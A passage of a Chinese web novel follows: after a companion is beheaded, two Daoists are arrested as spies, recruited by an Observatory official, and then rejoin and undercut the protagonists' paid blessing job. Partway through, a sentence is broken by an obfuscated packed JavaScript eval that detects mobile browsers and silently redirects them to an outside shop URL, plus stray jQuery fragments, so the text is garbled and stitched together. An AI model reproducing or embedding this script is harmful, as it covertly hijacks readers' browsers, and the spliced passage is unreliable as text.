他话音刚落,就见几个官兵大步走了过来,不由分说把桌子包围了起来。不远处有几个百姓,低声道:“就是那几个人,我亲眼看见他们从天上掉下来的。” 刘正阳有点慌了,看着周围道:“你们干什么?” 捕头道:“哪来的?” 刘正阳不知道该说什么好,于九还能镇定的下来,道:“官爷这是干什么?” 捕头把手往桌上重重一拍,道:“少废话,我问你从哪来的!” 于九没回答,包子铺的老板道:“他们从外地来的,刚给了我一把这种钱。” 捕头看了一眼铜板,道:“果然是奸细,带走!” 几个官兵上前来,拿着铁链就往他们头上绕。刘正阳慌了,挣扎道:“喂,干什么,放开我!你们还讲不讲道理了!” 吴天愣头愣脑的,奋力挣扎道:“放开我,我不是奸细!” 他一头撞翻了一个官兵,拔出剑来四下比划着,道:“别过来啊,我警告你们,要不然我不客气了!” 于九被人按在桌子上,一根铁链勒着他的脖子,七八柄刀架在他身上。刘正阳直接被人按在了地上,十分害怕,大声道:“快放开我!” 吴天往前走了一步,忽听身后风声呼呼作响。于九睁大了眼,道:“小心!” 哧地一声,雪亮的刀光斩过,吴天的头颅已经被砍了下来。周围的百姓吓得轰然向后退去,纷纷道:“杀人了,杀人了!” 吴天的头颅在地上打着旋儿,眼睛大睁着,仿佛不相信自己就这么死了。那帮官差就像疯子一样,想杀谁就杀谁,说谁有罪谁就得死。 捕头手里提着的刀不住滴血,神色冷冰冰的,丝毫不觉得这么做有什么不妥。他扬声道:“父老乡亲们不必怕,外来的奸细拒捕,已被我就地斩杀。再有敢拒捕者,一律杀无赦!” 刘正阳简直不敢相信自己的眼睛,吴天就死在他面前,他甚至还没能反应过来,刀就砍下来了。人命不是闹着玩的,眼前的一切突破了他的认知。刘正阳浑身不住发抖,哑声道:“我不想在这儿待了,让我回去……放我回去!” 那人的手上还沾着吴天的血,在他脸上轻轻地拍了拍,阴沉道:“你说什么?” 刘正阳的嘴唇惨白,吓得一动也不敢动了。于九静静地坐在对面,看这个情形,来硬的是不行了。头顶的天空灰蒙蒙的,这不是个讲道理的地方,有用的人才能活下去。 捕头见他们两个人不反抗了,十分满意,挥手道:“把他们给我带回去!” 于九平静道:“官爷要带我们去哪儿?” 身边的人刚死了,他还能这么冷静,也确实是个人物。捕头道:“送到奸细该去的地方。” 于九道:“我们不是奸细,都是修道之人。我和师侄精通长生不老之术,是跟几位道友一起过来的,那个人叫段星河,是钦天监的人。” 于九刚才虽然坐着没动,脑子却一刻也没停下来。他记得来时,见段星河身上挂着个腰牌,上头写着钦天监三个字。寻思着他怕是在这里谋了个职位,此时便说出来一试。 捕头的神色微微一变,看着他道:“你认得钦天监的人?” 旁边一人道:“他们多半是胡说,想撒谎保命而已。” 皇帝十分重视炼长生丹的事,凡是举荐有能之士者,赏银百两。捕头看他们几个都穿着道袍,又是从天而降的,好像真的有点本事。他道:“你们是道士,道德经背一段来。” 刘正阳感觉有门,连忙道:“我来。道可道,非常道。名可名,非常名。无名天地之始,有名万物之母。故常无,欲以观其妙;常有,欲以观其徼。此两者,同出而异名,同谓之玄。玄之又玄,众妙之门。” 捕头回头看身边的人,道:“对不对?” 身边的人比他还没文化,搔了搔头道:“对……对吧。” 捕头点了点头,道:“先押起来,等我报给李大人瞧瞧。” 刘正阳还没反应过来,已经被人揪着脖领子薅起来了。哐当一声,他被人推进囚车里,跟于九关在了一起。囚车缓缓地行驶在路中间,周围的百姓远远地望着他们,有的幸灾乐祸,有的指指点点,道:“又抓着奸细啦,举报一个给十两银子,怎么这种好事咱们遇不上呢。” 刘正阳低声道:“小师叔,你刚才怎么不动手?” 于九道:“他们这么多人,怎么打的过?” 刘正阳道:“你不是会水遁么?” 于九道:“是啊,只能遁我一个,把你留下来么?” 刘正阳感觉自己说了蠢话,闭上了嘴。于九屈起一膝,看着囚车外的天,有种随波逐流的无可奈何。来之前,他也没想到会变成这样。 刘正阳想着吴天惨死的情形,有些害怕,一时又憎恨起段星河来。要不是因为那个臭小子,自己也不会流落到这里来。他低声道:“咱们还能活么?” 于九道:“有价值的人,就能活下来。” 刘正阳道:“什么价值。” 于九有些疲倦似的往后一靠,道:“你乖乖把嘴闭上的时候,就最有价值。” 刘正阳知道他是嫌自己烦了,只好沉默下来,学着他的样子闭目养神。于九的选择是正确的,接下来还不知道会遇上什么事,慌张只会浪费精力,能多攒一点力气也是好的。 钦天监内,李如芝坐在书案后,心情有些烦躁。 自从过年那阵子他去见过步云邪后,就一直没有他们的回音。那几个人撒出去之后就像长翅膀的鸟,也不知道去了什么地方。皇帝问了好几回,李如芝都没办法交代,只好道:“外头山高路远,妖魔横行,他们或许遇到了凶险,可能已经不在了。” 庆熙帝对他们寄予了很大的希望,恼怒道:“朕不信,给我想办法把他们找回来。你亲自带人去,活要见人、死要见尸,必须给朕一个交代!” 李如芝虽然巴不得步云邪死了才好,可他一旦失踪了,皇帝还要找自己算账。这帮人真的是他命里的克星,不管是活着还是死了,都那么讨厌。 庆熙帝派了十个武功不错的侍卫过来,名义上是保护他,实则是怕李如芝跟其他人一样,半道卷铺盖跑路。李司正一身的荣华富贵都拜皇家所赐,对朝廷自然是忠贞不二的,皇帝这么担心属实是多虑了。 步云邪他们若是真的遇上了妖怪,恐怕连骨头都剩不下。但皇帝让他去找,他也只好出去走一趟,只是如同大海捞针,不知道从哪里找起。 李如芝正在烦恼,忽然见张掖进来道:“禀报大人,巡捕司白天抓了两个道士。那两个人是从天上掉下来的,他们说自己认识段星河,会长生不老之术。” 李如芝一怔,那些人认识段星河,说不定能问出那小子的去向。他生出了兴趣,道:“他们在什么地方?” 张掖道:“被关在牢里了。” 李如芝站了起来,道:“跟我去看看。” 刘正阳一向活的鲜花着锦烈火烹油,以为自己能得意一辈子,没想到有一天还会蹲大牢。到处都黑黢黢的,他坐在角落里,小声道:“小师叔,他们要怎么对付咱们?” 于九道:“不知道。” 一个牢里还关着其他囚犯,那些人占据着最好的地盘,把刘正阳撵到了恭桶旁边。刘正阳被臭气熏得想吐,心中极度委屈,把一腔愤怒都发泄到了段星河身上。 “都怪那个臭小子……要不是因为他……” 于九闭着眼道:“你省省吧,不是咱们自己要跟来的么?” 刘正阳就是要怪他,道:“他就是个扫把星,一遇到他就没好事。” 牢里有人在睡觉,打呼噜还磨牙;有人一边抠脚一边闻;还有个瘦子直勾勾地盯着这边,露出不怀好意的笑容,道:“小兄弟,你长得还挺俊的,多大啦?” 刘正阳不敢搭理他,假装没听见,紧紧地靠着于九。他感觉就光这帮人,半夜都够把自己撕了。他低声道:“小师叔,我爹对你不薄,你可得好好保护我啊!” 于九嗯了一声,道:“我尽量。” 刘正阳十分不放心,道:“我回去让我爹给你钱,你要多少就给多少。” 于九对他画的饼不怎么感兴趣,懒懒地道:“能回去再说吧。” 两人说着话,忽然见走廊上来了几个官差,叮当几下打开了铁门。一人道:“白天来的那两个人,跟我来。” 刘正阳有点紧张,道:“干什么。” 那人道:“少废话,跟我走就是了。” 几个官差押着他们,来到了一间刑讯室。地上还有没洗干净的血水,刘正阳看着墙上挂着的刑具,战战兢兢的。于九一脸淡定的模样,就算泰山崩于前也面不改色。 一个穿蓝色官袍的人坐在他们对面,道:“别紧张,坐吧。” 刘正阳靠着椅子边坐下了,于九坐在他旁边。两人脖子上都戴着枷锁,一副灰头土脸的模样。越发衬得对面当官的人高高在上,游刃有余。 那当官的正是李如芝,他扫了这两人一眼,觉得一个呆头呆脑的,另一个倒是还透着股聪明劲儿,道:“你们叫什么?” 刘正阳怕说错了话,闭着嘴没回答。于九道:“在下于九,这是我师侄,叫刘正阳。我们在天心观修行,是跟着段星河过来的。” 有人说他们是从天而降的,李司正注视着他,道:“你说的过来,是什么意思?” 这个世界跟另外一个世界有沟通的隧道,不少修仙之人是知道的。于九一副懂的都懂的态度道:“我们是从另一个世界来的。” 李司正确实知道这件事,但他在这边有功名利禄,对于另一个陌生的世界丝毫不感兴趣。他道:“你们来干什么?” 于九坦率道:“我们看他在这边发达了,就跟过来也想发点小财。” 李司正微一扬眉,道:“你们跟段星河是什么关系?” 从他的态度,于九看不出他对段星河是欣赏还是讨厌,迟疑了一下。刘正阳已然道:“我跟他是师兄弟,我爹是他师叔,我们两家是兄弟门派。” 他以为李司正很关心段星河,便忍着厌恶跟段星河攀关系。没想到李司正蹙起了眉头,结果却是押错了宝。李司正的确很关心那些人的下落,却又巴不得他们都死了才好。 刘正阳感觉自己说错了话,又道:“不过那小子讨厌得很,我们一直都不喜欢他。” 李司正的表情果然微微缓和下来,他道:“你知道他们去了什么地方么?” 刘正阳答不上来,回头看于九。于九的心思敏锐,感觉这就是自己能提供的价值了。他卖了个关子道:“应该是往西边去了,具体什么地方,我也不清楚。” 李司正有点失望,于九又道:“我们对他们很熟悉,如果大人要找他们的话,我们可以帮忙。” 李司正觉得这人十分聪明,有这个人帮忙,总比自己像没头苍蝇一样乱转强多了。 他道:“你能找到?” 这个回答性命攸关,就算撒谎也得先打包票。于九坚定道:“一定能找到。” 两人对视了片刻,于九浑身透着一股精明强悍的气质,带着这样的人出门肯定不会吃亏。李司正微微一笑,站了起来,道:“你们最好能说到做到。” 他出了牢门,吩咐了几句。有官差过来解开了他们身上的枷锁,道:“走吧。” 刘正阳还有点懵,道:“上哪儿去?” 张掖在牢门外咧嘴一笑,看傻子似的道:“李大人抬举你们,免了你们的罪,以后你们就是钦天监的人了。” 于九如释重负,活动了一下手腕,迈步往外走去,一刻也不想在这里多待了。刘正阳没想到一场牢狱之灾就这样化解了,小师叔果然是他命中的救星。他又惊又喜,连忙跟了上去,道:“小师叔,你太厉害了,等等我啊。” 头顶的狂风渐渐消失了,段星河从草堆上爬了起来,感觉浑身上下哪里都不疼。他回头看了看不远处,赵大海他们摔得四仰八叉的,好在都平安着陆了。步云邪落在了一棵梧桐树上,轻轻一跃跳了下来,道:“星哥,没事吧?” 段星河拍了拍身上的草屑,道:“没事,你呢。” 步云邪摔过一次就有经验了,这次掉下来之前就做好准备了。他道:“我没事。” 伏顺落在了旁边的一个水塘里,在里头扑腾了半天,以为自己要淹死了。 他慌张的不行,大喊道:“救命、救命啊——义父,拉我一把啊!” 宋胡缨一脸冷淡道:“你站起来试试呢。” 伏顺一怔,哆嗦着站直了,发现水才齐胸深。他松了口气,连忙稀里哗啦地爬上了岸。 宋胡缨背过身去,把襻膊解开了,放出了她儿子。小对眼被捆的太久了,身上的毛都像是被打了个叉。李玉真忍不住笑了,小对眼嗷地叫了一声,对他十分不满。 步云邪也把墨墨放了出来,墨墨在麻袋里憋坏了,啾地叫了一声,拍着翅膀飞了起来。步云邪抬头看着头顶消失的气旋,发现他们又回到了上次离开的地方。 这个气旋每次使用过后,都会冷却一阵子,下次出现不知道是什么时候了。步云邪从包袱里掏出地图,拿罗盘看了一下坐标,在羊皮上标记了位置,下次想离开的时候可以来这里碰碰运气。 伏顺钻进草丛里,换了一身干衣裳。其他人已经集合起来了,段星河道:“走吧,先去拿行李。” 离开久了,他们对这里居然也产生了一点怀念的感觉。初冬的空气有些冰冷了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13744726|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,周围的草木都凋零了。众人走在路上,忽然感觉前方有些不对劲,好像有灵力在震荡。段星河停了下来,低声道:“等等,先别过去。” 他话音未落,就见一道金色的灵光冲了过来,轰的一声把地上的草木石头崩的到处都是。众人连忙四下闪开了,就见一个硕大的铁甲怪物从密林中缓缓升起来,右手的灵光还没有完全消失。 段星河皱起了眉头,道:“是千机门的人?” 那铁甲怪物脚下喷出两道火光,追着几个万象门的白衣人在树林里一阵狂轰乱炸。那些人白天出现,想来不是真正的伥鬼,而是万象门的弟子出来杀人游逛。双方本来就是死对头,在这里遇上了,便打了起来。 步云邪低声道:“怎么办?” 段星河还没说话,忽然见一只巨大的钢铁仙鹤飞了过来,骑在鹤背上的人衣袍在风中飘荡,却是渠阳子。双方打了个照面,渠阳子十分诧异,没想到会在这里遇见他们。 少主让他别招惹这些人,渠阳子也不想找额外的麻烦。他拱手道:“原来是几位道友啊,好久不见了。” 段星河道:“阁下在这里干什么?” 渠阳子轻描淡写道:“万象门的人伤了我千机门的弟子,我修理他们一顿,给自家人出口气,不是什么大事。” 他说话声中,那只巨大的机关兽举起沉重的精钢炮筒,对着前方的伥鬼又轰了一炮。哐的一声,伥鬼们惨叫着摔了一地,死的死伤的伤。对付几个微末小卒这么大动干戈,着实是大炮轰蚊子了。段星河等人感觉地动山摇的,寻思着他们两宗打架,跟自己没什么关系,还是别卷到台风里去的好。 段星河拱手道:“我们只是路过,你们自便,再会。” 他说着一摆手,带领兄弟们绕了个弯,从另一条道上走了。 渠阳子远远地望着他们的背影,扬起嘴角一笑,觉得这小子还算懂事。片刻他回过头,见机关兽漂浮在空中,正在等他的吩咐。 他飞在高处,看得见十来个白衣伥鬼连滚带爬地往前逃命,连脸上的面具都不要了。渠阳子却不放过他们,冷冷道:“给我把他们轰成渣,让人知道得罪我千机门的下场!” 一行人回到了城中,去仓库取回了自己的行李和大车。几个月没见,他们的马儿被照顾的还不错,没瘦也没生病,见了面便亲昵地蹭他们。赵大海也很高兴,喂了它们几根胡萝卜,用力地摸了摸马儿的头颈,发自内心地道:“想我了是吧,我也想你们了!” 赵大海套上了车,伏顺抢先爬了上去,坐到了自己的座位上去,感觉十分怀念。李玉真坐在他对面,闻到了大车里粮食和帐篷沉闷的气息,感叹道:“啊,是熟悉的感觉。” 段星河等人骑着马,赵大海赶着车,一群人出了城往西走。再次经过刚才那个树林时,四下一片安静,渠阳子已经离开了,地上残留着几个被轰过的大坑。路边有几个银白色的面具,是伥鬼逃命时遗落的。段星河冷笑了一声,道:“丢盔弃甲的。” 步云邪淡淡道:“走吧,跟咱们没关系。” 众人慢悠悠往前走了三天,这一日傍晚时到了德陵城。城头有一间小道观,院子不大,正殿的大门大开着。段星河扭头往那边看了一眼,一个六十来岁的老道士,生的干瘦枯黄,手里提着一盏灯,慢慢地照着观里的墙。 段星河行了个子午礼,扬声道:“道长,请问哪里有住宿的地方?” 老道士恍恍惚惚的,就像在梦游。他哑声道:“往前走。” 段星河道:“走多远?” 老道士不耐烦起来,转头看着他,神色颠颠的道:“往前走就是往前走,没多远!道爷还能骗你不成!” 段星河只好道:“好好好,多谢道长。” 老道士便又像乌龟缩回壳里似的,安静下来。他提起了灯,继续照着墙。段星河感觉有些奇怪,见他提着的灯照亮了大殿里,正位供着个金刚武神,手持宝剑十分威武。旁边有几根大铜柱子,上面挂满了黑色、赤色和绿色的面具。每个面具上都生着大把蓬乱的头发,容貌丑陋,表情各不相同,但都龇牙咧嘴的十分狰狞。中间有个最大的面具跟别的都不同,它的半边脸被融进了铜柱里,生着一双绿眼睛,恶狠狠地凸出来,仿佛在嫉恨着什么。那些大大小小的面具被指头粗的铁链子穿起来,缠在柱子上,加起来总有二十来个。 伏顺看见了,倒抽了一口气,道:“这是什么鬼?” 道观的匾额上写着伏妖观三个字。有些宗门里的大能降服了妖魔,便将其化作面具,用道法或佛法感化。但整个过程十分漫长,需要以铁链将面具拴住,每日有人检查。如果铁链松了,或者面具脱落,就说明妖魔逃走了。步云邪道:“应该是度化妖魔的地方,派专人在这里守着。” 伏顺低声道:“是真的妖魔变的么,该不会是为了赚香火自己挂上去的吧?” 步云邪摇了摇头,这种话就不好说了。他道:“每个地方都有自己的习俗,人家的事少管。” 段星河一摆手,道:“走吧,去前头看看。” 沿着大街走了一阵子,城里渐渐繁华起来,两排大红灯笼在前头不住飘荡,赫然是一间高升客栈。刚才那老道士虽然爱答不理的,但总算没指错路。 段星河翻身下了马,道:“就住这儿吧。” 众人提着行囊进了客栈,段星河打算在这里找找小雨,如果没有,就继续往西走。客栈对面有个书院,他们来的时候,见一群书生穿着白衣,散了学三五成群地往家走去。 在这边歇了几日,段星河贴出了寻人启事,一直没有回音。一大早,他去公告板前看了一眼,发现告示还在,但没什么人注意。他叹了口气,看来光等着不行,还是得多问问。 他回来时大家已经来到了大堂,准备吃饭了。伏顺拍了拍身边的座位,道:“大师兄,快来,豆浆刚端上来。” 段星河落了座,吃着早饭,见大街上人来人往的,书生们陆陆续续地来上课了。高台上又传来了读书声:“子曰,见贤思齐焉,见不贤而内自省也。吾日三省吾身,为人谋而不忠乎,与朋友交不信乎,以约失之者鲜矣。” 伏顺听了一脑袋浆糊,道:“什么意思?” 李玉真啃了一口包子,道:“论语嘛,做人多反省自己,一日三省吾身。” 伏顺不屑道:“那活的多费劲。要我说,就该让别人多多反省,把轻松留给自己。” 李玉真笑了,感觉他一直就是这么活的,确实挺轻松。吃完饭,众人拿着羊皮画像,各自去打听小师妹的下落。 段星河跟步云邪走在一起,打算去城西看看。路边的树开始落叶了,行人们穿着薄袄,行色都匆匆忙忙的。两人刚出客栈,忽然一阵大风刮过,把一张纸从对面二楼吹了下来,啪地一下子糊在了段星河的脸上。 段星河把纸拿下来看了一眼,见是书生做的文章,说实话内容写的相当一般,字也不怎么好看。他道:“这能考上功名么?” 一个白衣书生扒着栏杆往下看,大声喊道:“兄台,我的文章,等我去拿——” 段星河等了片刻,那人的同窗跑了下来,道了一声多谢,拿了文章就跑了。另一人在二楼朝他挥手,道:“快点,夫子要来了!” 那些书生的关系还挺好的,都是十五六的少年人,跟他们在道观里修行差不多。段星河扬起了嘴角,想起从前他的功课做不完,还求步云邪帮他抄过经。 步云邪道:“你笑什么?” 段星河道:“你以前还会模仿我笔迹呢,现在还能学吗?” “闭着眼都会,”步云邪道,“我专门琢磨了好几天,都刻在脑子里了。我说你怎么老是写不完功课啊?” 段星河有点心虚,说实话他对抄书之类的事一向是有点偷懒的,宁可出去多干点活也不愿意坐在屋里写字。步云邪这些年里帮他写过的功课没有几十也有十几份了,道:“你猜师父看出来没有?” 段星河寻思了一下,道:“一开始可能觉得不一样,不过后来你的看多了,说不定觉得我自己写的是赝品了。” 一想起能骗到师父,两个人都有种兴奋感,忍不住笑了。段星河转过身,忽然迎头撞到了一个人身上。他下意识道:“对不住,我没看见。” 那人像根树桩子似的站着没动,冷冷道:“呦,是段兄啊,你还会跟人说对不起呢?” 段星河定睛一看,见面前的人居然是刘正阳。段星河一时间有些难以置信,步云邪也是一副诧异的神色。 刘大少双手抱着臂,一副得意洋洋的姿态。他带人赶了好几天路,终于打听到了这里。只要找到了他们,自己和小师叔的脑袋就算保住了。于九站在他身后,神色有些复杂。 不远处,李如芝穿着一身青色的锦袍,骑着高头骏马,居高临下地看着他们。那个采石场的管事张掖也在,身后又带着几个挎着刀的侍卫。 这几个人凑在一起,可算是五毒俱全了。段星河心中有些厌烦,皱起了眉头,道:“你们怎么会来这里的?” 56.鬼面 二 两拨人站在街上,看彼此都很不顺眼。刘正阳扬眉道:“怎么了,这地方你能来我不能来?” 段星河道:“你跟踪我们?” 刘正阳要不是因为他,也不至于受这么多罪,蔑然道:“要是知道你来这个破地方,老子才不来呢!” 后头还有那么多人在看着,于九道:“行了别吵了,这不是好好的吗。” 段星河抬眼看着他们身后的钦天监众人,道:“你跟他们认识?” 刘正阳一掸衣襟,露出了钦天监的腰牌,傲然道:“岂止认识,我们现在也是钦天监的人了,从九品司晨,跟你一样。” 段星河皱起了眉头,跟刘正阳一个档次,让他感觉自己都掉价了。他道:“你们怎么混进去的?” 刘正阳恼道:“你怎么说话的,什么叫混进去……” 于九一把按住了刘正阳的肩膀,示意他安静一会儿,道:“说来话长,我们落在了大幽都城外面,被当成奸细抓起来了。幸亏遇上了李大人,他举荐我们加入了钦天监,我们就跟着他出来办事了。” 段星河寻思着他们大约是惦记着自己挣了些钱,过来想也掘一桶金,结果一落地就被收编了。他想起自己刚到大幽的那阵子被关在采石场,差点就没了命。跟自己比起来,他们已经算是运气不错的了。 李司正一招手,一名侍卫便低头跪在马前,充作踏脚石。李如芝踩着那侍卫的脊背下了马,张掖快步上前来,狗腿子似的扶住了他的手臂。李如芝摆足了排场,一掸衣裳,缓步走了过来。刘正阳和于九退到了一旁,对他也十分恭敬。 李司正看着步云邪,神色变幻了几回,仿佛觉得能找到他很不容易,却又一见到他就有些心烦。他严肃道:“步大人,大半年没见,你到底去哪儿了?” 步云邪好久都没见他了,差点把钦天监的事忘了。他本来答应了朝廷每隔三个月就写一封报告回去,汇报自己炼药的进度。他离开了这几个月,音讯全无,也难怪皇帝会惦记他。 他们两个人虽然不对付,但场面上的话还是要说的。步云邪道:“多谢大人关心,属下前阵子遇到了一些意外,耽搁了些时日,实非本意。如今回来了,一定把工作做好。” 李司正冷冷道:“陛下一直很担心你们,这次就是他让我出来找你们的。” 步云邪没想到皇帝这么把自己当回事,大约是当初自己给了他三年寿数,两人冥冥之中便有了牵扯。那是一种很微妙的感觉,庆熙帝直觉感到只要步云邪活着,自己就能活下去。他要是死了,自己也就到此为止了。 老头儿六十多岁了,日夜都盼着赶紧炼成长生不老丹。步云邪等人若是就这么消失了,他恐怕整个人都要崩溃了。在大幽的那段时间,皇帝也对他不薄,没让步云邪受过罪,自己也不能太无情了。 他叹了口气,道:“感谢陛下挂怀。属下会把这段时间的经历写成报告送回去,一并还有这段时间炼成的延年益寿丹,也一起奉与陛下。” 李如芝找到了他们,身上的压力也减轻了许多,总算不用担心皇帝迁怒要砍自己的脑袋了。他注视着步云邪,道:“步大人,外头这么凶险,你可得好好保重好自己。陛下对你寄予厚望,你千万不能辜负了他的一片心。” 他说着关怀的话,表情却咬牙切齿的。皇帝的心里只有这小子一个人,只要他活着自己就得矮他一头,他要是死了自己还得给他陪葬,简直一点道理都不讲。步云邪也不知道自己有这么气人,要是知道了恐怕就更高兴了。 他微微一笑,身上笼罩着被上位者眷顾的圣光,道:“是,属下一定尽力为陛下效力。” 刘正阳看着那边,两个五品官说话,没他插嘴的份。他心里觉得步云邪也没什么大不了的,不过就是运气好了一点,就封了个从五品。以自己的聪明才智,假以时日,必然能爬的比他更高。 于九看了刘正阳一眼,见这小子满脸写着不服气,简直一点脑子也没有。这边的世界跟那边不一样了,步云邪是庆熙帝面前的红人,一声不吭就失踪了这么久,皇帝非但没有责罚,还让人专门出来找他,绝不是一般人能招惹的。他低声道:“眼神收一收,谁教你这么看上司的。” 刘正阳十分窝火,然而官大一级压死人,何况步云邪比他大了好几级呢。 步云邪客气道:“有劳司正大人亲自来找属下一趟,我明日就把报告写好,大人放心回去就是了。” 自己刚来,他就赶自己走,胆子也是大得很了。李如芝皮笑肉不笑地看着他,道:“本官不急着走,你们办事不利,陛下让我分担你们的任务。从现在起,我们也要炼制长生丹了。这一路山高水远,咱们互相照应吧。” 段星河和步云邪都十分诧异,露出了不情愿的表情。偶尔跟这些人打交道就已经够辛苦的了,要是天天见那还不得烦死?然而李司正心意已决,大手一挥,带着人浩浩荡荡地往前头客栈去了,跟他们下榻在同一处。 步云邪望着他们的背影,感到了一阵窒息,道:“怎么会这样啊。” 段星河还有心开玩笑,道:“让你不按时交功课。” 步云邪烦得要命,抬手捶了他一下道:“什么都扔给我,你自己怎么不写?” 段星河道:“我一个区区九品芝麻官,有什么资格给皇帝交报告。” 步云邪揉了揉眉心,小声道:“连夜跑路还来得及么?” “算了吧,”段星河道,“皇帝就是派他们来监视咱们的,这叫先礼后兵。要是再跑,他们恐怕就没这么客气了。” 步云邪知道他说的不错,一时间也没什么办法,只能随他们去了。 段星河在城里找了两日,没问到小师妹的下落,看来是不在这里了。天冷了,他买了几件棉衣棉靴,回了客栈。 他跟步云邪住一间屋,赵大海和伏顺、李玉真住一间,宋胡缨自己住一间房。自从来到夷州,吃喝住宿都要花钱,跟从前不能比了,钦天监给的那点俸禄根本就经不起花。这样坐吃山空不行,段星河觉得还是得一边旅行,一边找机会赚钱才是。 步云邪午睡刚起来,头发还散着,揉着眼道:“文书送到驿站去了么?” 段星河把东西放在床头,道:“送去了。刚买的衣裳,你挑一件。” 段星河买了两件打底穿的薄袄,步云邪抖开穿在身上,动了动胳膊,感觉很合适。他伸手去够钱袋子,道:“多少钱。” 段星河道:“不用了,咱俩算这么清楚干什么。” 先前朝廷赐了几件狐裘,段星河占了步云邪的光,也得了一件玄色的大氅。他一直收着舍不得穿,这一路上打打杀杀的,动不动就溅一身血浆,还是穿袄子更方便,弄坏了也不心疼。 昨天步云邪写了一天报告,又把最近炼的丹药封好了,托他送到驿站寄回大幽。段星河好久没见过他赶功课的模样了,倒是真想给他帮忙,可惜插不上手。步云邪累坏了,干完了活儿倒头就睡,此时总算歇过来了。 已经到中午了,两人下楼去吃饭。段星河在靠窗的位置坐下了,点了几个菜,忽见一个老道士走了进来。他穿着一身洗的发白的棉袍,进来便道:“小二,给我把葫芦满上,再来一个红烧蹄髈,一只烧鸡!” 他声音大得很,生怕别人听不见。其他食客都朝这边回过头来,那道士满面红光,十分兴奋。段星河认出了他,这就是城头那个道观的主人,守着一屋子面具的那人。 小二哥给他灌了一葫芦高粱酒,一边道:“张道长,最近发达了?” 那道士咧开嘴,依旧是一副古怪的模样,恍恍惚惚,又癫里癫气。他得意道:“赚了点小钱,给城东的金老爷讲经,五天就给了我这个数。” 他比了两根手指,小二哥道:“二两?” 那道士咧嘴一笑,道:“二十两,有钱人出手就是大方!” 小二哥点了点头,羡慕地说:“真不错。” 片刻菜做好了,小二哥用油纸包着递给了他。那道士仰头喝了一口酒,右手提着纸包,得意洋洋地出门去了。小二哥擦了擦桌子,怜悯道:“一天到晚醉生梦死的,没什么大本事,看了一辈子面具,还挺乐呵的。” 段星河看着那边,小二哥抬起头,跟他对上了眼,道:“客倌,有什么吩咐?” 段星河耳朵里放不过钱的事,道:“请问刚才那位道长说的金老爷,是怎么回事?” 小二哥道:“哦,我们城东有个金员外笃信道教,对所有修道之人都十分客气,常年招清客。这一阵子他老母亲要过七十大寿,广招高人祈福……哎,几位不是钦天监的么,金家一定欢迎得很,你们要不要去试试?” 段星河跟步云邪对视了一眼,低声道:“怎么样?” 步云邪本来就是祭司,最擅长为人祈福,道:“可以啊,去挣点钱吧。” 两人吃完了饭,打算出门,忽然瞥见客栈的角落里站着一个人,却是刘正阳不知什么时候从楼上下来了。段星河一抬下巴,示意讨厌鬼来了。步云邪回头时,见刘正阳的神色阴沉,已然转过身去,快步上了楼。 双方这么不对付,还时不时遇上,实在让人心烦。步云邪皱起了眉头,道:“跟鬼似的,阴魂不散。” 段星河站了起来,道:“别管他了,就当他不存在。” 两人打听了一下,很容易就找到了金员外家。守门的已经见惯了道士,得知了他们的来意,道:“两位请去花厅稍坐,我帮你们通报。” 两人进了花厅,有人端了茶过来。金员外家占地颇大,屋舍盖的整齐雅致。老夫人的寿辰将至,院子里有不少道士来往。段星河和步云邪等了片刻,就见一位中年男子带人走了过来。仆役道:“这位就是我们的老爷。” 段星河和步云邪连忙站了起来,道:“见过金先生。” 金员外连忙扶住了他们,道:“不必多礼,听说两位是从大幽来的,在钦天监当值,是真的么?” 段星河出示了令牌,道:“在下段星河,是钦天监从九品司晨,这位是我师弟,在钦天监任从五品司业。听说老夫人将要过寿,我等从此经过,愿意为她祈福。” 金员外一心向道,经常寻访修为高深之人,不吝出资供养。一听说他们有这么大的来头,顿时如获至宝,眉开眼笑道:“哎呀呀,那我可是请到大人物了!几位既然在朝廷供职,必然修为深湛。家慈十天后过寿辰,已经请人祈祷了数日了。我打算一直为母亲祈福,直到她寿辰那天,不知两位明天能否开始?” 段星河道:“可以。” 金员外搓了搓手道:“那好的很,两位是钦天监的贵人,在下也不会怠慢了两位。这样吧,祷祝十日,每人每天十两银子,事成之后每人再奉送五十两谢仪,两位觉得如何?” 这样算下来,十天他们俩就能挣二百两。段星河心中顿时一喜,面上还是一派端然,道:“那就这样吧。” 正说着话,忽然有人进来通报,道:“老爷,外头又有人来了,说是大幽钦天监的。” 段星河心里一沉,意识到多半是刘正阳来了,微微皱起了眉头。金员外以为他们是一路的,道:“快请进来。” 片刻仆役带人过来了,不光有刘正阳,李如芝和于九、张掖都来了。段星河跟他们对视了一眼,忍不住皱起了眉头,觉得真是够烦人的。金员外道:“几位都是钦天监的,你们认识么?” 李司正道:“在下李如芝,是大幽钦天监的五品司正,步司业是我的下属。” 金员外本来以为从五品司业已经大的很了,没想到钦天监的人倾巢而出,最大的官儿也来了。大幽的钦天监是为皇帝求仙访道的,这些人能为自己祈福,他简直做梦都不敢想。 金员外不知道这些人中谁的本事更大一些,只觉得官位大的人就最了不起。他热情道:“原来是李大人,幸会幸会。您能大驾光临,实在是蓬荜生辉。快请坐,请喝茶!” 两名侍女过来,把段星河和步云邪的杯子撤了,端上了新茶给李如芝。李司正跟金员外相对而坐,态度十分优雅闲适。段星河跟步云邪站在一旁,感觉好像哪里不对劲,留在这儿也不是,就这么走了也不是。刘正阳站在他们对面,嘴角一扬,仿佛在嘲笑他们。 段星河就知道肯定是这臭小子去传的消息,自己刚谈好的生意就这么被截胡了。他心里很不痛快,但当着外人也不好说什么。 金员外以为段星河是他的手下,道:“我刚跟这两位大人谈好了,每天每人十两银子,一共祈祷十天,事成之后每人再给五十两谢仪。大人身份贵重,您若是亲自主持的话,价格翻倍。” 李如芝也是个见钱眼开的主,要不然也不会上赶着来抢他们的生意。他听了对方开出的条件十分满意,微微一笑道:“好。” 金员外道:“不知李大人要带几个人来?” 李司正比划了身后几个人,道:“我们四个人就够了。” 金员外奇怪地看着对面,道:“那这两位小兄弟呢?” 